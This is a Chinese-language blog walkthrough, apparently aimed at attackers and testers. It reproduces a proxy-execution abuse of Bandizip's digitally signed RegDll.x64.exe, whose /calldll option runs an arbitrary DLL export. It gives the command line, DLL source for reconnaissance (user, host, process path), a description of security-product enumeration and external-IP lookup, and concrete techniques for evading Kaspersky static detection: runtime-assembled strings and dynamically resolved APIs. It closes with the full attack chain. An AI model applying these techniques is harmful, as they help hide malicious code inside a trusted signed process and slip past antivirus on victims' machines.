0x00 背景

前几天在吾爱破解上看到一篇帖子,作者 xiaojiakeji 提到 Bandizip 安装目录下 data\ 文件夹里有两个自带 exe:RegDll.x64.exeRegDll.x86.exe。这两个文件带有 Bandisoft 官方的有效数字签名,并且支持命令行参数直接加载并调用任意 DLL 中的指定函数。

核心命令只有一行:

RegDll.x64.exe /calldll 任意.dll 函数名

这是典型的白加黑利用场景,有签名白文件 + 恶意黑 DLL,可以绕过部分依赖静态签名检测的安全软件。

官方回复不认定为漏洞,理由是 Windows 自带 regsvr32.exerundll32.exe 等工具也能干类似的事。这个回复在技术上说得通,但在实际攻防场景里,有有效数字签名的第三方白文件比系统自带工具更容易过检测,这是事实。

本文记录从零开始完整复现这个利用链的整个过程。

0x01 环境

  • Windows 11 x64
  • Bandizip(安装版,非 Microsoft Store 版),安装后 data\ 目录下确认存在 RegDll.x64.exe
  • Visual Studio "使用 C++ 的桌面开发"
  • 目标机器装有卡巴斯基(用于测试免杀效果)

0x02 编写 DLL

先写一个最简单的 DLL,导出函数 TestFunc,里面弹一个 MessageBox 证明被执行:

#include <windows.h>

__declspec(dllexport) void TestFunc(void) {
    MessageBoxA(NULL, "DLL Loaded OK!", "testdll.dll", MB_OK);
}

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved) {
    return TRUE;
}

VS 里新建"动态链接库(DLL)"项目,文件后缀用 .c,属性设置:

  • C/C++ → 高级 → 编译为 C 代码 (/TC)
  • C/C++ → 预编译头 → 不使用预编译头
  • 链接器 → 输入 → 附加依赖项:user32.lib
  • 平台选 x64

编译后拿到 testdll.dll,放到 Bandizip 的 data\ 目录下。

0x03 验证加载

data\ 目录 使用 PowerShell,执行:

.\RegDll.x64.exe /calldll testdll.dll TestFunc

MessageBox 成功弹出。证明 RegDll 确实在无任何校验的情况下,通过 LoadLibraryW + GetProcAddress 加载并调用了指定 DLL 的指定导出函数。

用 x64dbg 附加跟进去,在 kernel32!LoadLibraryW 下断点,可以清楚看到 DLL 路径和函数名从命令行参数一路传进来,最终进入 sub_140003528 直接调用,中间没有任何签名校验、路径白名单或导出名限制。

0x04 扩展:信息收集

把 DLL 功能扩展一下,在被加载时收集一些系统信息并弹窗显示:

#include <windows.h>
#include <VersionHelpers.h>

void ShowReconPopup(void) {
    char info[4096] = {0};
    char username[256] = {0};
    DWORD ulen = 256;
    GetUserNameA(username, &ulen);
    lstrcatA(info, "User: ");
    lstrcatA(info, username);
    lstrcatA(info, "\n");

    char compname[256] = {0};
    DWORD clen = 256;
    GetComputerNameA(compname, &clen);
    lstrcatA(info, "Computer: ");
    lstrcatA(info, compname);
    lstrcatA(info, "\n");

    lstrcatA(info, "Version: ");
    if (IsWindows10OrGreater()) lstrcatA(info, "Win10/11+");

    char exePath[512] = {0};
    GetModuleFileNameA(NULL, exePath, 512);
    lstrcatA(info, "\nHost: ");
    lstrcatA(info, exePath);

    MessageBoxA(NULL, info, "Recon", MB_OK);
}

__declspec(dllexport) void TestFunc(void) {
    ShowReconPopup();
}

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved) {
    return TRUE;
}

编译后同样用 RegDll 加载,弹窗里能看到当前用户、计算机名、系统版本、以及宿主进程路径(显示为 RegDll.x64.exe 的完整路径)。这说明所有收集行为都发生在 Bandizip 签名进程的上下文里。

0x05 扩展:杀软检测 + 外网 IP

进一步加入两个功能:

  1. 通过 CreateToolhelp32Snapshot 枚举进程,匹配已知安全软件进程名关键字
  2. 通过 WinHTTP 请求 httpbin.org/ip 获取出口 IP

杀软检测列表覆盖了 360、火绒、Defender、卡巴斯基、腾讯电脑管家、McAfee、ESET 等常见产品。外网 IP 通过 HTTPS 请求获取,解析 JSON 中的 origin 字段。

这部分代码较长,核心逻辑就是进程枚举 + 字符串匹配 + WinHTTP 请求,不再贴全量代码。

0x06 免杀处理:过卡巴斯基静态

上面这些版本在编译后会被卡巴斯基直接删除,原因很明确:

  • .rdata 段里有 "calc.exe" 等明文字符串
  • 导入表直接挂了 ShellExecuteAMessageBoxA
  • 行为模式(DLL 被签名进程加载后起系统程序)触发启发式

针对这三点逐一处理:

1. 字符串不打明文字面量,用字符数组运行时拼:

char target[] = {'c','a','l','c','.','e','x','e',0};

2. API 不写导入表,用 GetProcAddress 动态获取:

char api[] = {'S','h','e','l','l','E','x','e','c','u','t','e','A',0};
SE pSE = (SE)GetProcAddress(hS, api);

3. 弹窗改用 MessageBoxW(宽字符),中文不乱码:

char msgApi[] = {'M','e','s','s','a','g','e','B','o','x','W',0};
MBW pMsg = (MBW)GetProcAddress(hU, msgApi);
pMsg(NULL, L"计算器劫持成功!\nRegDll /calldll + DLL 白加黑验证通过",
           L"计算器劫持成功", MB_OK | MB_ICONWARNING);

4. 弹窗和起 calc 分别放两个线程,同时出现:

CreateThread(NULL, 0, PopThread,  NULL, 0, NULL);
CreateThread(NULL, 0, CalcThread, NULL, 0, NULL);

编译后用 PE 工具检查:

  • 导入表里只有 KERNEL32.dll 的基础函数
  • 没有 user32.dllshell32.dll 的导入项
  • 没有 "calc.exe" 连续字符串

最终版本在卡巴斯基环境下可以正常落地,RegDll 加载后弹窗显示"计算器劫持成功",同时计算器被拉起。

0x07 总结

完整利用链回顾:

攻击者准备恶意 DLL(带 TestFunc 导出)
    ↓
将 DLL 投放到目标机器(任意目录均可)
    ↓
利用已有 Bandizip 安装(RegDll.x64.exe 带有效数字签名)
    ↓
命令行调用:RegDll.x64.exe /calldll 恶意.dll TestFunc
    ↓
RegDll 内部 LoadLibraryW → GetProcAddress → 调用 TestFunc
    ↓
恶意代码在 Bandizip 签名进程上下文中执行

截图